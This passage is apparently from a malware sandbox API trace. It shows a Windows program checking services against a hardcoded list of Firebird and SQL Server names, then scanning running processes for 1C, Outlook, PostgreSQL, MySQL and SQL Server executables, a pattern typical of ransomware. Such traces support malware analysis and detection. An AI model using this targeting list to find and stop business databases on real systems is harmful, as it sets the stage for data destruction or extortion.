(lpString1="mssqlserver", lpString2="eventlog") returned 1 [0102.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0102.558] lstrlenW (lpString="EventSystem") returned 11 [0102.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0102.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0102.558] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0102.558] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0102.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0102.558] lstrlenW (lpString="gpsvc") returned 5 [0102.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0102.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0102.558] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0102.558] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0102.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0102.558] lstrlenW (lpString="iphlpsvc") returned 8 [0102.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0102.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0102.558] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0102.558] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0102.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0102.558] lstrlenW (lpString="LanmanServer") returned 12 [0102.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0102.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0102.558] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0102.558] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0102.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0102.558] lstrlenW (lpString="LanmanWorkstation") returned 17 [0102.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0102.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0102.558] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0102.558] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0102.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0102.558] lstrlenW (lpString="lmhosts") returned 7 [0102.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0102.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0102.558] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0102.559] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0102.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0102.559] lstrlenW (lpString="MMCSS") returned 5 [0102.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0102.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0102.559] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0102.559] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0102.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0102.559] lstrlenW (lpString="MpsSvc") returned 6 [0102.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0102.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0102.559] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0102.559] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0102.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0102.559] lstrlenW (lpString="Netman") returned 6 [0102.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0102.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0102.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0102.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0102.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0102.559] lstrlenW (lpString="netprofm") returned 8 [0102.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0102.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0102.559] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0102.559] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0102.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0102.559] lstrlenW (lpString="NlaSvc") returned 6 [0102.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0102.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0102.559] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0102.559] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0102.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0102.559] lstrlenW (lpString="nsi") returned 3 [0102.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0102.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0102.559] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0102.559] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0102.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0102.559] lstrlenW (lpString="PcaSvc") returned 6 [0102.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0102.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0102.559] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0102.559] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0102.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0102.559] lstrlenW (lpString="PlugPlay") returned 8 [0102.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0102.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0102.560] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0102.560] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0102.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0102.560] lstrlenW (lpString="Power") returned 5 [0102.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0102.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0102.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0102.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0102.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0102.560] lstrlenW (lpString="ProfSvc") returned 7 [0102.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0102.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0102.560] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0102.560] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0102.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0102.560] lstrlenW (lpString="RpcEptMapper") returned 12 [0102.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0102.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0102.560] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0102.560] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0102.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0102.560] lstrlenW (lpString="RpcSs") returned 5 [0102.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0102.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0102.560] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0102.560] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0102.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0102.560] lstrlenW (lpString="SamSs") returned 5 [0102.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0102.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0102.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0102.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0102.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0102.560] lstrlenW (lpString="Schedule") returned 8 [0102.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0102.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0102.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0102.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0102.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0102.560] lstrlenW (lpString="SENS") returned 4 [0102.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0102.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0102.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0102.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0102.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0102.561] lstrlenW (lpString="ShellHWDetection") returned 16 [0102.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0102.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0102.561] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0102.561] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0102.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0102.561] lstrlenW (lpString="Spooler") returned 7 [0102.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0102.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0102.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0102.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0102.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0102.561] lstrlenW (lpString="SysMain") returned 7 [0102.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0102.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0102.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0102.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0102.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0102.561] lstrlenW (lpString="Themes") returned 6 [0102.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0102.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0102.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0102.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0102.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0102.561] lstrlenW (lpString="TrkWks") returned 6 [0102.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0102.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0102.561] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0102.561] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0102.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0102.561] lstrlenW (lpString="UxSms") returned 5 [0102.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0102.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0102.561] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0102.561] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0102.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0102.561] lstrlenW (lpString="WdiServiceHost") returned 14 [0102.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0102.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0102.561] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0102.562] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0102.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0102.562] lstrlenW (lpString="WdiSystemHost") returned 13 [0102.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0102.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0102.562] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0102.562] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0102.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0102.562] lstrlenW (lpString="Winmgmt") returned 7 [0102.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0102.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0102.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0102.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0102.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0102.562] lstrlenW (lpString="WPDBusEnum") returned 10 [0102.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0102.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0102.562] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0102.562] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0102.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0102.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0102.562] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x230 [0102.564] Process32FirstW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.564] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0102.565] lstrlenW (lpString="System") returned 6 [0102.565] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0102.565] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0102.565] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0102.565] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0102.565] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0102.565] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0102.565] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0102.565] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0102.565] lstrlenW (lpString="smss.exe") returned 8 [0102.565] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0102.565] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0102.565] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0102.565] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0102.565] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0102.565] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0102.565] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0102.565] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.566] lstrlenW (lpString="csrss.exe") returned 9 [0102.566] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0102.566] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0102.566] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0102.566] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0102.566] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0102.566] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0102.566] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0102.566] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0102.566] lstrlenW (lpString="wininit.exe") returned 11 [0102.566] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0102.566] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0102.566] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0102.566] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0102.566] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0102.566] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0102.566] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0102.566] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.566] lstrlenW (lpString="csrss.exe") returned 9 [0102.566] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0102.567] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0102.567] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0102.567] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0102.567] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0102.567] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0102.567] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0102.567] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0102.567] lstrlenW (lpString="winlogon.exe") returned 12 [0102.567] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0102.567] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0102.567] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0102.567] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0102.567] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0102.567] lstrlenW (lpString="services.exe") returned 12 [0102.567] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0102.568] lstrlenW (lpString="lsass.exe") returned 9 [0102.568] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0102.568] lstrlenW (lpString="lsm.exe") returned 7 [0102.568] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.568] lstrlenW (lpString="svchost.exe") returned 11 [0102.568] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.569] lstrlenW (lpString="svchost.exe") returned 11 [0102.569] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.569] lstrlenW (lpString="svchost.exe") returned 11 [0102.569] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.569] lstrlenW (lpString="svchost.exe") returned 11 [0102.569] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.569] lstrlenW (lpString="svchost.exe") returned 11 [0102.569] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0102.570] lstrlenW (lpString="audiodg.exe") returned 11 [0102.570] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.570] lstrlenW (lpString="svchost.exe") returned 11 [0102.570] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.570] lstrlenW (lpString="svchost.exe") returned 11 [0102.570] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0102.571] lstrlenW (lpString="userinit.exe") returned 12 [0102.571] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0102.571] lstrlenW (lpString="dwm.exe") returned 7 [0102.571] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0102.571] lstrlenW (lpString="explorer.exe") returned 12 [0102.571] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0102.572] lstrlenW (lpString="spoolsv.exe") returned 11 [0102.572] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0102.572] lstrlenW (lpString="taskhost.exe") returned 12 [0102.572] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, 